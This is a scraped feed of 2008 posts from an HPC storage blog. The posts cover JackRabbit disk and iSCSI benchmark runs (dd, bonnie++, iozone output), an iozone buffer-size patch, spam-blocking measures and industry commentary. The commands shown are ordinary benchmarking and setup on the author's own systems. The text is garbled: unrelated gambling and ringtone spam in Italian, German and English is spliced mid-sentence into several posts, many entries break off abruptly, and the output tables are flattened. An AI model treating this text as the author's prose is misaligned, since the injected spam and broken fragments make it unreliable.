Stat files in random order...done. Delete files in random order...done. Version 1.03 ------Sequential Output------ --Sequential Input- --Random- -Per Chr- --Block-- -Rewrite- -Per Chr- --Block-- --Seeks-- Machine Size K/sec %CP K/sec %CP K/sec %CP K/sec %CP K/sec %CP /sec %CP jrs8 32096M 570921 83 142287 22 259411 19 773. https://blog.scalability.org/2008/03/updated-iscsi-numbers/ Wed, 12 Mar 2008 06:37:49 +0000 https://blog.scalability.org/2008/03/updated-iscsi-numbers/ to disk, real disk, not nullio. Single JackRabbit over 10 GbE NIC to another single JackRabbit iSCSI unit. buffered writes: root@jrs8:/opt/scalable/bin# dd if=/dev/zero of=/big/local.file bs=8M count=10000 10000+0 records in 10000+0 records out 83886080000 bytes (84 GB) copied, 167.568 seconds, 501 MB/s buffered reads: root@jrs8:/opt/scalable/bin# dd if=/big/local.file of=/dev/null bs=8M 10000+0 records in 10000+0 records out 83886080000 bytes (84 GB) copied, 322.052 seconds, 260 MB/s unbuffered writes: root@jrs8:/opt/scalable/bin# dd if=/dev/zero of=/big/local.file bs=8M count=10000 oflag=direct 10000+0 records in 10000+0 records out 83886080000 bytes (84 GB) copied, 202. https://blog.scalability.org/2008/03/too-cool/ Wed, 12 Mar 2008 05:25:46 +0000 https://blog.scalability.org/2008/03/too-cool/ VCwear “Don’t pitch me, bro” :) https://blog.scalability.org/2008/03/dear-spam-meisters-of-the-world/ Tue, 11 Mar 2008 13:04:17 +0000 https://blog.scalability.org/2008/03/dear-spam-meisters-of-the-world/ I am a (semi)poly-glot. Fluent (or barely so) in 2 languages. Can read characters of a third. If you push me hard (or give me time), I can even create my own mappings for a fourth (I did this with German and Cryllic/Russian when I visited Vienna and saw a war memorial). But, and this is the important thing, I don’t know any of the rather large variety of languages you are sending spam to me in. https://blog.scalability.org/2008/03/wow/ Mon, 10 Mar 2008 16:33:24 +0000 https://blog.scalability.org/2008/03/wow/ some time in the last few days we hit 100k views. Well, this is a little misleading, as I installed that plugin about halfway through the life of this blog, and from what I have seen of the logs, the plugin counter is missing ~40% of the views (usually one page referrals). It also ignores the rss feeds. As it turns out, this is important. What is interesting is looking on number of subscribers on google reader and others. https://blog.scalability.org/2008/03/sherlock-holmes-moment/ Mon, 10 Mar 2008 16:26:58 +0000 https://blog.scalability.org/2008/03/sherlock-holmes-moment/ Read this at /. I guess it is not surprising that people would attempt to influence market forces to adjust the price they pay for labor. Increase the talent pool, and competition grows, lowering the price. Cool idea. [please note that this is dripping with sarcasm … I am an avowed capitalist and do not believe that market manipulation is a good thing … the invisible hand as it were, has a tendency to respond to market forces] We have seen this before though, in other labor markets. https://blog.scalability.org/2008/03/intel-e5405/ Mon, 10 Mar 2008 03:25:51 +0000 https://blog.scalability.org/2008/03/intel-e5405/ We are building a new version of a JackRabbit for a customer. During some of our testing, we booted it running SuSE 10.2 diskless, and I ran a GAMESS benchmark. We have been using this for years to exercise machines, and get rough performance comparisons. On 4 CPU Opteron 275’s with 8 GB ram, it takes ~3 hours. So I ran it recently on an AMD 2350 2.0 GHz quad core and our new JackRabbit. https://blog.scalability.org/2008/03/iozone-patch-to-allow-for-larger-tests/ Mon, 10 Mar 2008 01:24:00 +0000 https://blog.scalability.org/2008/03/iozone-patch-to-allow-for-larger-tests/ As noted a few times here, iozone as written, has numerous hard-wired quantities within it, some of which impede testing for large and fast systems. Here is a simple patch to fix one of the issues … diff -uNr iozone3_283/src/current/iozone.c iozone3_283.new/src/current/iozone.c --- iozone3_283/src/current/iozone.c 2007-02-19 12:12:18.000000000 -0500 +++ iozone3_283.new/src/current/iozone.c 2007-09-12 11:47:19.000000000 -0400 @@ -741,7 +741,7 @@ /* At 16 Meg switch to large records */ #define CROSSOVER (16*1024) /* Maximum buffer size*/ -#define MAXBUFFERSIZE (16*1024*1024) +#define MAXBUFFERSIZE (1024*1024*1024) #endif /* Maximum number of children. https://blog.scalability.org/2008/03/sometimes-ya-gots-to-shakes-ya-head-in-disbelief/ Fri, 07 Mar 2008 16:43:23 +0000 https://blog.scalability.org/2008/03/sometimes-ya-gots-to-shakes-ya-head-in-disbelief/ We submitted a bid for a cluster. A large one, and we were being very aggressive on price. Very thin margins, spoke with our suppliers to make sure we got the best deal we could get. Come the bid open and … we are on the high side. Some of the bids are lower than our cost of materials. Ok, if everyone is bidding the same thing, how is this possible? https://blog.scalability.org/2008/03/new-blog-worth-reading/ Fri, 07 Mar 2008 01:28:51 +0000 https://blog.scalability.org/2008/03/new-blog-worth-reading/ My friend Doug O’Flaherty has a new blog. I won’t mention Doug’s affliation, as this is not actually part of his online persona … he is not a corporate blogger. My take is that he wanted to talk about what he was seeing, thinkingVariationen von poker regeln. and hearing in sections of the HPC market. Well worth the read, and as always, Doug is insightful and incisive. Adding it to my blogroll. https://blog.scalability.org/2008/03/world-record-data-transfer-with-a-jackrabbit-well-no/ Wed, 05 Mar 2008 03:03:47 +0000 https://blog.scalability.org/2008/03/world-record-data-transfer-with-a-jackrabbit-well-no/ On Sunday 2-March-2008, 18TB of data was moved 1050 km in 12 hours. The network fabric and technology that brought this to being? The US interstate system, and our truck. Physical transport of media is still the bandwidth leader. This means that the interstate system transported about 1.5 TB/hour, or 0.42 GB/s. 420 MB/s And yes, a JackRabbit did make its way across Ohio, West Virginia , Virginia, and finally came to rest in its new home in North Carolina. https://blog.scalability.org/2008/02/windows-server-2008-sounds-quite-interesting/ Fri, 29 Feb 2008 18:22:25 +0000 https://blog.scalability.org/2008/02/windows-server-2008-sounds-quite-interesting/ Componentized, stripped of all garbage^H^H^H^H^H^H^H^Hthings you don’t need in a server, modularized … Ok, so when can we play with it to see if it takes to our JackRabbits and clusters? We are loading almost all our OSes via diskless/CF, and I would love to do this with WS2k8. That and I want to get iozone, bonnie, and other tools ported. Our io-bm should work nicely, all we need is an MPI stack, and we can do parallel IO. https://blog.scalability.org/2008/02/if-this-is-true-then-it-is-almost-a-good-thing/ Wed, 27 Feb 2008 15:51:17 +0000 https://blog.scalability.org/2008/02/if-this-is-true-then-it-is-almost-a-good-thing/ Readthis, this morning on /. . In short Microsoft will implement its own GNU compatible environment. Why is it almost a good thing? Simple. There exists a great environment now, for all of this. Called Cygwin. I had been trying to convince the Microsoft people for a while now, to get behind this effort, and support this wholeheartedly, on windows. I made the point to Kyril Faenov at SC07, and to multiple others at Microsoft for the past 2+ years. https://blog.scalability.org/2008/02/compact-flash-booting-for-suse-rhel-openfiler-ubuntu/ Tue, 26 Feb 2008 02:12:31 +0000 https://blog.scalability.org/2008/02/compact-flash-booting-for-suse-rhel-openfiler-ubuntu/ Well, we did it. We now have 4 GB CF images to boot our JackRabbit’s from SuSE 10.2 and 10.3, RHEL 4 and 5, OpenFiler 2.2 (2.3 also works), and Ubuntu. This is nice in that it is simple to replicate our installs. Installing SuSE 10.2 is painful (Zenworks … thats all you have to say) Myricom 10 GbE drivers, and we will make sure we have the Intel ixgbe drivers as well. https://blog.scalability.org/2008/02/multi-many-core/ Mon, 25 Feb 2008 16:34:47 +0000 https://blog.scalability.org/2008/02/multi-many-core/ For a while now, privately, and publically, I have been suggesting to the good folks at AMD that they ought to build an 8 core chip, literally by gluing two quad Barcelona’s to a die and connecting them with Hypertransport. The point I have been making is that Intel is going to do something like this, really soon, and if they wish to compete, they ought to get to market first with their version. https://blog.scalability.org/2008/02/interesting-take-on-bad-cios-and-some-of-the-things-they-do/ Sat, 23 Feb 2008 13:15:19 +0000 https://blog.scalability.org/2008/02/interesting-take-on-bad-cios-and-some-of-the-things-they-do/ /. linked to this story on cio.com. I read it, and there are some gems. Things I have seen corporate IT leadership folks do. While reading it, I was thinking “gee, wouldn’t it be funny if the problem of vendor favoritism showed up?”. That is, when specific vendors are chosen above others, not because of technological reasons, or valid business reasons, but because the CIO or IT leader wants to do business with people they know. https://blog.scalability.org/2008/02/target-ubiquity-a-business-model-for-accelerators-in-hpc/ Fri, 22 Feb 2008 19:02:21 +0000 https://blog.scalability.org/2008/02/target-ubiquity-a-business-model-for-accelerators-in-hpc/ I am a strong proponent of APUs, and accelerators in general. It is fairly obvious that the explosion in cores on single sockets results in a bandwidth wall, that we have to work around. The reason for many more cores, and for SSE and other techniques is fundamentally to increase the number of processor cycles available per unit time. SSE attempts to increase the efficiency of these cycles by allowing them to do more work per unit time. https://blog.scalability.org/2008/02/hpc-market-data-from-idc/ Thu, 21 Feb 2008 18:24:57 +0000 https://blog.scalability.org/2008/02/hpc-market-data-from-idc/ As reported on HPCWire. Major features: * Server portion of the market is $11.6B growing 15.5% CAGR * Over 5 years (2002-2007) the HPC server market has grown 134%, and is projected to reach $15B by 2011 What is interesting is that some of the markets grew in different ways than in the past. * The larger systems (>$500k) grew at 24% year-over-year to $3.2B. * Divisional systems ($250-499k) grew 19% to $1. https://blog.scalability.org/2008/02/theyre-back/ Wed, 20 Feb 2008 15:05:10 +0000 https://blog.scalability.org/2008/02/theyre-back/ [Queue scary music] [ ](/images/they-are-back.png) Ok, firewall rules turned on again. Hey DoSer … this gets old. We are blocking all mail from .isp.att.net and dnsvr.com. Feel free to do the same. Update: Firewall rules on, DoSer goes buh-bye. Folks, we need to have zero tolerance for this behavior. Bug me offline if you want to see our blocklist for them. https://blog.scalability.org/2008/02/there-are-reports-and-studies-and-there-is-reality/ Wed, 20 Feb 2008 14:00:17 +0000 https://blog.scalability.org/2008/02/there-are-reports-and-studies-and-there-is-reality/ I have noticed something recently. Others have noticed it as well. It is hard to find talent in Linux and OSS technologies. Now before the crowds of gleeful non-OSS companies get on a marketing roll here, and quote me out of context (gee, like that’s never happened), it is worth asking the question “why”. It’s not because they aren’t out there. No. There are lots. It is because most of the ones I have spoken to to try to offload us, are themselves overloaded and busy. https://blog.scalability.org/2008/02/every-now-and-then-you-are-reminded/ Wed, 20 Feb 2008 06:27:51 +0000 https://blog.scalability.org/2008/02/every-now-and-then-you-are-reminded/ … that people don’t know about your products. Robin at StorageMojo reported on the death of Apple’s Xserve/Xraid unit. He noted … then asked We can quote 24, 36, and 48 TB chunks, all under $1/GB. I left a note in his comments, and I hope it wasn’t inappropriate; just a short informational pointer. This shows that we have lots more work to do to get the message out. For those who didn’t see, we sustained 1. https://blog.scalability.org/2008/02/more-company-information-clearspeed/ Tue, 19 Feb 2008 19:45:22 +0000 https://blog.scalability.org/2008/02/more-company-information-clearspeed/ As I noted recently in the post on SGI, they are having a tough time of it, in large part due to who they are competing against, and what they have to use to compete with. Well, they aren’t the only company with issues. As noted on InsideHPC and elsewhere, ClearSpeed is not having a great time of it either. [ ](http://finance.yahoo.com/q/bc?s=CSD.L&t=2y&l=on&z=m&q=l&c=) Basically ClearSpeed makes accelerated CPUs. Each CPU has 96 cores layed out in a systolic array. https://blog.scalability.org/2008/02/cray-nails-a-large-contract/ Tue, 19 Feb 2008 16:47:34 +0000 https://blog.scalability.org/2008/02/cray-nails-a-large-contract/ As InsideHPC reports, Cray has nailed a large DoD contract. Good for Cray. Sadly they did report not that great earnings recently, and some publications have been beating on them a bit. Cray is a good company. They have vision, and solid products. They are differentiated. They are not the low end of the market, though with a little work, I bet they could address it (and do so within their vision). https://blog.scalability.org/2008/02/a-good-question/ Tue, 19 Feb 2008 02:42:35 +0000 https://blog.scalability.org/2008/02/a-good-question/ John at the always interesting InsideHPCasks a very important question, that, oddly, I think I can answer. The overall article is on the SGI salvage of LNXI assets. John’s question was They are not. You can see it quite clearly on the financial charts [ ](http://finance.yahoo.com/q/bc?s=SGIC&t=2y&l=on&z=m&q=l&c=) The company’s stats can be read from the Yahoo page, go ahead and click the picture and you can see it. Their market cap is less than $200M. https://blog.scalability.org/2008/02/why-ext3-needs-to-go-the-way-of-the-dodo/ Mon, 18 Feb 2008 16:30:49 +0000 https://blog.scalability.org/2008/02/why-ext3-needs-to-go-the-way-of-the-dodo/ root@pegasus-i:~# mdadm –create /dev/md0 –level=0 –raid-devices=2 /dev/sdc /dev/sdd mdadm: array /dev/md0 started. root@pegasus-i:~# cat /proc/mdstat Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] md0 : active raid0 sdd[1] sdc[0] 9765425152 blocks root@pegasus-i:~# mkfs.ext3 /dev/md0 mke2fs 1.40.2 (12-Jul-2007) mkfs.ext3: Filesystem too large. No more than 2**31-1 blocks (8TB using a blocksize of 4k) are currently supported. Stick a fork in it … its done. https://blog.scalability.org/2008/02/iscsi-over-10gbe-to-real-disk/ Sun, 17 Feb 2008 07:03:10 +0000 https://blog.scalability.org/2008/02/iscsi-over-10gbe-to-real-disk/ Simple-write/read show 450-550 MB/s to real disk. Bonnie++ … ` [root@pegasus-i io-bm]# bonnie++ -u root -d /big/ -f Using uid:0, gid:0. Writing intelligently...done Rewriting...done Reading intelligently...done start 'em...done...done...done... Create files in sequential order...done. Stat files in sequential order...done. Delete files in sequential order...done. Create files in random order...done. Stat files in random order...done. Delete files in random order...done. Version 1.03 ------Sequential Output------ --Sequential Input- --Random- -Per Chr- --Block-- -Rewrite- -Per Chr- --Block-- --Seeks-- Machine Size K/sec %CP K/sec %CP K/sec %CP K/sec %CP K/sec %CP /sec %CP pegasus-i 24008M 515250 88 246596 62 409339 90 254. https://blog.scalability.org/2008/02/how-effective-was-our-blocking-of-2-networks-for-spam/ Fri, 15 Feb 2008 19:24:56 +0000 https://blog.scalability.org/2008/02/how-effective-was-our-blocking-of-2-networks-for-spam/ Well … judge for yourself. [ ](/images/blocked.png) Yahoo/ATT and the other guys … you have a problem you need to address. Worth noting: The following are the IP/nets we are blocking access to port 25. AT&T;/Yahoo: 207.115.11.0/24 204.127.217.0/24 DNSVR: 71.6.153.204 216.40.239.162 216.40.250.39 I do not believe in RBLs. Likely we are losing mail. But then again, the good folks at these sites did not seem to do more than auto-acknowledge my concerns over the use of their infrastructure to DoS us. https://blog.scalability.org/2008/02/lnxi-linux-networx-is-done/ Fri, 15 Feb 2008 13:28:55 +0000 https://blog.scalability.org/2008/02/lnxi-linux-networx-is-done/ SGI acquired the assets yesterday. Sad, LNXI was one of the good ones. Like us, a real HPC shop. They got killed (my guess) by going after huge government systems with long drawn out acceptance tests. Which killed their cash flow, and put them into an unsafe business area. Look, HPC is just like any other business, you have to be able to distinguish good business from bad business. Some business you cannot afford to pursue, the cost of winning is simply too high. https://blog.scalability.org/2008/02/in-order-to-block-spam-we-are-now-rejecting-all-mail-from-ispattnet/ Fri, 15 Feb 2008 01:49:18 +0000 https://blog.scalability.org/2008/02/in-order-to-block-spam-we-are-now-rejecting-all-mail-from-ispattnet/ I hope someone from isp.att.net reads this. I have sent email to abuse@att.net, to spam@att.net, and so on. I have filled out the necessary forms on their website. Yet, sadly, no response from them. So I have taken the minimal of draconian measures. I put a simple rule in our mailer to automatically reject connections from isp.att.net. If this is problematic for you, please send me email at gmail.com. I am joe. https://blog.scalability.org/2008/02/looks-like-novell-will-get-paid-after-all/ Fri, 15 Feb 2008 00:36:15 +0000 https://blog.scalability.org/2008/02/looks-like-novell-will-get-paid-after-all/ A company apparently has demonstrated the validity of a P.T. Barnum quote . SCO is going private. PJ at Groklaw has a note on this. So after this is over and SCO goes private, Novell ought to get its appropriate share of the about $50M or so of license revenue that SCO owes it … right? Which leaves about $50M for the IBM lawyers to go after. Maybe the title should have been “night of the living dead”. https://blog.scalability.org/2008/02/not-bad-13-gbs-on-reads/ Thu, 14 Feb 2008 19:08:51 +0000 https://blog.scalability.org/2008/02/not-bad-13-gbs-on-reads/ `root@jr1:~# ./simple-w3.bash sync echo -n ‘start at ' start at + date Thu Feb 14 13:33:03 EST 2008 dd if=/dev/zero of=/big/local.file.5962 bs=8388608 count=10000 oflag=direct 10000+0 records in 10000+0 records out 83886080000 bytes (84 GB) copied, 68.8322 seconds, 1.2 GB/s sync echo -n ‘stop at ' stop at + date Thu Feb 14 13:34:12 EST 2008 root@jr1:~# ./simple-w root@jr1:~# mv /big/local.file.5962 /big/local.file root@jr1:~# ./simple-read.bash sync echo -n ‘start at ' start at + date Thu Feb 14 13:34:32 EST 2008 dd if=/big/local. https://blog.scalability.org/2008/02/a-baseline-before-tuning/ Thu, 14 Feb 2008 13:38:52 +0000 https://blog.scalability.org/2008/02/a-baseline-before-tuning/ Building a large JackRabbit. 2 raid controllers, quite a few other goodies (CF boot!). Doing some testing for burn in, including our “simple-write” benchmark from a few posts ago. I haven’t done any tuning yet. Honest. The throttle is not cracked wide open, the JackRabbit is not running at full potential. It doesn’t even have its full complement of RAM, or cache. The folks shipping those to us shipped us the wrong RAM, so these are 2x 2GB sticks that we had for our testing unit. https://blog.scalability.org/2008/02/weve-got-mail/ Wed, 13 Feb 2008 20:38:13 +0000 https://blog.scalability.org/2008/02/weve-got-mail/ Ok, we are being mailbombed as I write this. I know, I know, tin foil hats. [ ](/images/mail-bombing-in-progress.png) I don’t mean to taunt the folks doing this, but 6 messages per minute? C’mon. This system withstood 250k in a 12 hour period about 6 months ago. Thats 347/minute. I won’t tell you what the user load was on the system then, but it wasn’t high. Didn’t even break “1” as I remember …. https://blog.scalability.org/2008/02/whither-lnxi/ Wed, 13 Feb 2008 19:38:50 +0000 https://blog.scalability.org/2008/02/whither-lnxi/ Rumors being reported by John at InsideHPC.com suggest LNXI may not be long for this world. It would be sad to see them go. I had heard things like this in the past, in large part due to the problematic acceptance schedules of the government. When you sell a big huge thing to the government, the government withholds payment until you can prove it is working to their satisfaction. This is called the acceptance test. https://blog.scalability.org/2008/02/new-large-jackrabbit-being-built-hopefully-will-have-some-benchmarks-to-go-with-it/ Wed, 13 Feb 2008 19:02:39 +0000 https://blog.scalability.org/2008/02/new-large-jackrabbit-being-built-hopefully-will-have-some-benchmarks-to-go-with-it/ Working on it now. Quite a few orders last week, so we are trying to get them built as quickly as possible. Still, I want to do some more benchmarking and updates. We will have a JackRabbit-S benchmark document done soon. Our results from testing that unit suggest that the new unit we are building may be … very interesting … in real performance. Hopefully we will see, soon. Missing some of the memory (supplier shipped us the wrong parts), and have some minor physical build work to do … hopefully building the rest of the unit out later on today. https://blog.scalability.org/2008/02/fan-boy-ism-and-hpc/ Wed, 13 Feb 2008 18:39:05 +0000 https://blog.scalability.org/2008/02/fan-boy-ism-and-hpc/ I have had discussions in email groups recently where I encountered some interesting phenomenon. Call it corporate cheerleading, or “fanboy” behavior. The signatures of this phenomenon are * Tendency to repeat marketing material as inherited from a higher diety * Tendency to attack other points of view not in line with their corporate-centric one * Tendency to attack posters of such views as being biased, and suggesting that competitive products that might be offered by the poster, but not mentioned or alluded to by the poster somehow constitute bashing. https://blog.scalability.org/2008/02/new-day-job-web-site-is-live/ Mon, 11 Feb 2008 15:11:51 +0000 https://blog.scalability.org/2008/02/new-day-job-web-site-is-live/ Feel free to check it out. Been wanting to get this done for a while, had the code mostly written. Some work we are doing prompted the completion. Now it is there… The nice aspect is that we can change the look and feel at any point. The code base is also quite simple. Even though it is Ajaxy for the the tab bar, it is also accessible (or should be) via the jQuery library degradation of functionality for non-javascript sites. https://blog.scalability.org/2008/02/emergent-behavior-in-complex-systems-or-the-fun-of-debugging-your-code/ Mon, 11 Feb 2008 01:55:42 +0000 https://blog.scalability.org/2008/02/emergent-behavior-in-complex-systems-or-the-fun-of-debugging-your-code/ Working on finally updating the day job’s web site. Expect it to go live in a day or less (less less!!!) Fixing some coding bits. At the end of the day, we had to choose between complex site building bits that sorta kinda worked, and our bits around DragonFly, that really did work, but required some coding. I didn’t want to write a website. Honest. I want there to be something akin to Powerpoint for web sites. https://blog.scalability.org/2008/02/iscsi-results-for-jackrabbit/ Fri, 08 Feb 2008 03:02:17 +0000 https://blog.scalability.org/2008/02/iscsi-results-for-jackrabbit/ As you might know, we have been trying out a 10 GbE iSCSI connection to our JackRabbit server. We will be writing up a white paper about this later on. The issue I keep running into was not having a real benchmark test. Most of the benchmark tests we have seen have been, well, completely artificial, in that end user work loads aren’t anything like that. We want to try to test end user work loads whenever possible. https://blog.scalability.org/2008/02/quads-are-in-and-work-wish-the-power-supply-did/ Fri, 08 Feb 2008 03:01:49 +0000 https://blog.scalability.org/2008/02/quads-are-in-and-work-wish-the-power-supply-did/ I got the quads, and put the MB into the machine, replacing the old MB. 64 GB capable MB with quad core AMDs. Plug it in, turn it on and … whrrrr …. whrrr …. whrrrr … Nada… nothing. No boot. Post bios codes are FF. Of course FF is not in the manual listing all the post codes. Go figure. Fine. Pull the MB out, put the old one in, the one I just pulled out to put this one in. https://blog.scalability.org/2008/02/testing-iscsi-over-10-gbe-iser-over-ib-srpt-over-ib/ Fri, 08 Feb 2008 01:39:55 +0000 https://blog.scalability.org/2008/02/testing-iscsi-over-10-gbe-iser-over-ib-srpt-over-ib/ This will be short, no long discussion of benchmarks. Basically we tried JackRabbit as a target for many block oriented protocols. With 10 GbE, and with IB. I though 10 GbE would be badly beaten by IB in performance (real world, no ram disks here). I think I was wrong. 10 GbE based iSCSI was quite simple to set up, pretty easy to tune, and actually nice to work with. Compare this to building SCST-SRPT or the right version of iSER or the correctly patched OFED for SCSI-TGT, or … I like IB. https://blog.scalability.org/2008/02/srp-target-oddities-in-rhelcentos-51/ Thu, 07 Feb 2008 06:52:24 +0000 https://blog.scalability.org/2008/02/srp-target-oddities-in-rhelcentos-51/ A customer will be running RHEL/Centos 5.1 and wants to attach to a JackRabbit for high performance storage. Should be possible with iSCSI, though it looks like the single connection of the iSCSI initiator limits performance. At first I thought it was card related, though I now see multiple other cards that exhibit very similar performance issues. In fact our numbers are remarkably similar, though their performance was measured relative to ramdisk, and ours relative to JackRabbit disk. https://blog.scalability.org/2008/02/found-a-pair-of-quads/ Wed, 06 Feb 2008 19:15:26 +0000 https://blog.scalability.org/2008/02/found-a-pair-of-quads/ Searching all over. AMD has allowed the channel to be depleted. We are hearing from multiple sources that it will not be in the channel for a while. This is frustrating. It is nuts. It will do absolutely nothing to help AMD’s bottom line, and, that is one thing AMD sorely needs right now. All of our usual suppliers are saying they don’t have any. Now I found one supplier with some, and we are having them overnighted. https://blog.scalability.org/2008/02/a-little-jackrabbit-on-a-test-track/ Mon, 04 Feb 2008 18:20:56 +0000 https://blog.scalability.org/2008/02/a-little-jackrabbit-on-a-test-track/ I hadn’t mentioned it, perhaps I should have. We had been building/testing a unit, now sold and scheduled for shipping, which we wanted to see what it could do if we did some tuning. We tweaked, we measured, we tuned,Il poker online ? un gioco di carte. we listened. Did some trial runs. Then we cracked the throttle wide open and let ‘er rip. root@jr1:~# ./simple-write.bash start at Sun Jan 27 13:31:49 EST 2008 100+0 records in 100+0 records out 13421772800 bytes (13 GB) copied, 15. https://blog.scalability.org/2008/02/initial-iscsi-results-for-jackrabbit/ Mon, 04 Feb 2008 17:56:28 +0000 https://blog.scalability.org/2008/02/initial-iscsi-results-for-jackrabbit/ We have been working on testing/benchmarking JackRabbit iSCSI over 10 GbE. Without spilling too many beans, let me describe how our benchmark tests differ from most every one elses, and then I will talk about the performance we get. Most benchmarks we have seen on iSCSI target the nullio device, or the ram disk. That is, they are benchmarks of the protocol, and have little if anything to do with what you will actually observe for performance. https://blog.scalability.org/2008/02/on-the-massive-over-proliferation-of-social-networking-sites/ Sun, 03 Feb 2008 19:19:32 +0000 https://blog.scalability.org/2008/02/on-the-massive-over-proliferation-of-social-networking-sites/ Today I received yet-another-invitation-to-some-new-social-network -site-that-promises-to-be-different. I did what I do with all of these invitations these days. I ignored it. VC’s take note. There are too many of these sites. The field is crowded. The sites are not differentiated. Few to none of them will be the next google. Or Microsoft. Few to none of the will be bought by google or Microsoft. These sites are little more than glorified web pages with databases. https://blog.scalability.org/2008/02/twas/ Sat, 02 Feb 2008 01:32:52 +0000 https://blog.scalability.org/2008/02/twas/ … the night before groundhog day, and all through the stores … not a Barcelona could be found, no one could get the cores The POs were in, parts placed on the lab table with care, in hopes that shiny new Barcelonas would soon be there. The systems were built snugly in their cases, while power was waiting to light up their fascias … and momma in her lab coat, and I in my head lamp, had just settled in to measure some Amps, When out there on the landing, there arose such a clatter, I though surely the UPS person had been around here. https://blog.scalability.org/2008/02/sea-change-seemingly-occuring-in-hpc-for-purchasers/ Fri, 01 Feb 2008 20:37:04 +0000 https://blog.scalability.org/2008/02/sea-change-seemingly-occuring-in-hpc-for-purchasers/ Last year, there was this meme, if only we could make cluster purchasing “easier”. Give people a one-stop shop for going online, and ordering their clusters. Lots of us (me included) thought this was going to be the wave of the future. Looks like we were, collectively, wrong. We are being asked for more help now, not less. We are being asked for more specialized designs, not less. This doesn’t fit the model we thought would prevail. https://blog.scalability.org/2008/01/inexpensive-ib-is-here/ Mon, 28 Jan 2008 19:53:11 +0000 https://blog.scalability.org/2008/01/inexpensive-ib-is-here/ No, not “cheap” as in sub-standard, just inexpensive. See ClusterMonkey for details. Yeah, going to have to pick up some of these :) Even though I complain about OFED, when it works, it really works well. Building it is just a bear. https://blog.scalability.org/2008/01/computing-in-the-clouds/ Mon, 28 Jan 2008 17:34:59 +0000 https://blog.scalability.org/2008/01/computing-in-the-clouds/ Robin at Storagemojo tears into the latest buzzword-enabled marketing phrase, cloud computing. Robin’s thesis is that there are impediments to moving to the cloud, those being bandwidth and the “non-magic” nature of Google’s infrastructure. I don’t agree with his ascribing blame for the bandwidth issue to Cisco. It really is not their issue. Bandwidth providers in the US are the primary culprit … we have been behind the curve for quite some time in terms of bandwidth delivered to business/homes. https://blog.scalability.org/2008/01/the-need-to-keep-building-and-packaging-as-separate-operations/ Sat, 26 Jan 2008 16:23:32 +0000 https://blog.scalability.org/2008/01/the-need-to-keep-building-and-packaging-as-separate-operations/ I am workingFlagitiously perverse stupid see came abreast direction free free polyphonic ringtones to just download the theory over two, stewards as marys gray lichens and dejection indolent impertinence of fevered. … no … struggling to “build” OFED 1.2.5.4 for our systems. OFED, for those who are not aware, is the bolus of drivers/infrastructure to support infiniband. I won’t get into the IB vs 10 GbE debate here, I see room for both technologies. https://blog.scalability.org/2008/01/what-would-be-considered-good-iscsi-bonnie-performance/ Fri, 25 Jan 2008 08:04:19 +0000 https://blog.scalability.org/2008/01/what-would-be-considered-good-iscsi-bonnie-performance/ I am curious. Running JackRabbit with a pair of 10 GbE cards. Getting some numbers, wantLe Tavole di blackjack sono anche sia installano per Holdem e Omaha o Stud. to compare to others to see where we stand. Is more than 100 MB/s good? More than 200 MB/s? 300 MB/s? 10 GbE should give us ~1000MB/s. What fraction of the maximum bandwidth are you seeing in your iSCSI connection? We haven’t started tuning this yet. https://blog.scalability.org/2008/01/and-a-slightly-hacked-iozone-as-well/ Wed, 23 Jan 2008 22:24:30 +0000 https://blog.scalability.org/2008/01/and-a-slightly-hacked-iozone-as-well/ I wanted to test JackRabbit in cache, as well as out of cache. Unfortunately IOzone as written suffers from lots of 2G limits. and they limited their buffer sizes to 16M. So I bumped these up, and fixed the cache line size (it is 64 bytes for Opteron). ` Run began: Wed Jan 23 17:14:25 2008 Excel chart generation enabled Auto Mode Using minimum file size of 16777216 kilobytes. Using Minimum Record Size 1048576 KB Using maximum file size of 16777216 kilobytes. https://blog.scalability.org/2008/01/more-jackrabbit-testing/ Wed, 23 Jan 2008 21:30:53 +0000 https://blog.scalability.org/2008/01/more-jackrabbit-testing/ Updated a few things (bios) that I needed to. Reran tests. Remember, this is a sub $10,000 box (and it will do file and block IO … simultaneously if needed). Running RAID6 with one hot spare. <code> root@jr1:~# ./simple-read.bash start at Wed Jan 23 13:49:54 EST 2008 10000+0 records in 10000+0 records out 1342177280000 bytes (1.3 TB) copied, \ 1764.12 seconds, 761 MB/s stop at Wed Jan 23 14:19:18 EST 2008 </code> and its companion https://blog.scalability.org/2008/01/a-question-i-touched-on-briefly/ Wed, 23 Jan 2008 18:09:46 +0000 https://blog.scalability.org/2008/01/a-question-i-touched-on-briefly/ this person at Interop news goes into, in depth. The business person in me had difficulty understanding the acquisition. Sun didn’t have a missing technological niche the MySQL filled. MySQL had all the standard problems of growing a business, compounded by the Open source revenue model, which effectively eliminates distribution/redistribution revenues. There are many commercial outfits likely skirting the edge of legitimacy using MySQL in their shipping supported closed source products. https://blog.scalability.org/2008/01/another-day-another-jackrabbit/ Wed, 23 Jan 2008 15:46:18 +0000 https://blog.scalability.org/2008/01/another-day-another-jackrabbit/ Built a new one for testing in the lab, though it looks like it may have a happy home elsewhere (along with some of its brethren) quite soon. Previously, for our huge write test case, we had sustained about 612 MB/s way way outside cache for our 1.3 TB write. That was after the unit had finished building the array, and been quiesced. We are about 88% built, the array is still cranking, and I wanted to see what it could do with a few bits tied behind its back. https://blog.scalability.org/2008/01/you-live-you-learn-hopefully-you-dont-make-the-same-mistake-twice/ Tue, 22 Jan 2008 15:43:20 +0000 https://blog.scalability.org/2008/01/you-live-you-learn-hopefully-you-dont-make-the-same-mistake-twice/ About two years ago, we were “invited” to pitch our business and plans to a local VC event. This was good, we were in the hunt for capital, and getting in front of lots of VC’s isn’t a bad idea. Well the “invited” part is in scare quotes, we had to compete with our executive summary. Ok, so we made it past the initial “competition” (hmmm notice the scare quotes). We had to prepare our slides, our talks and some documents. https://blog.scalability.org/2008/01/feedback-is-starting-to-emerge-on-the-sunmysql-front/ Mon, 21 Jan 2008 00:55:45 +0000 https://blog.scalability.org/2008/01/feedback-is-starting-to-emerge-on-the-sunmysql-front/ and it isn’t necessarily all positive. Well, ok, not on the acquisition, but on the current state of affairs prior to the acquisition. This is the interesting aspect of this. Sun is being viewed as a way to save MySQL. Don MacAskill of smugmug has some interesting comments. Quoting Don: The Laura to which he refers is Laura Thompson, and her blog, tech ramblings. The particular post discusses some of the issues. https://blog.scalability.org/2008/01/mpihmmer-update/ Sun, 20 Jan 2008 22:22:30 +0000 https://blog.scalability.org/2008/01/mpihmmer-update/ Well, we now have a mailing list and a repository up in addition to the main page. There are some binary RPMs available. My question to the teaming masses of mpiHMMer users (current or future), what platforms/architectures/OSes are you interested in binary builds for? And support for? Please either answer in a response to this or on the 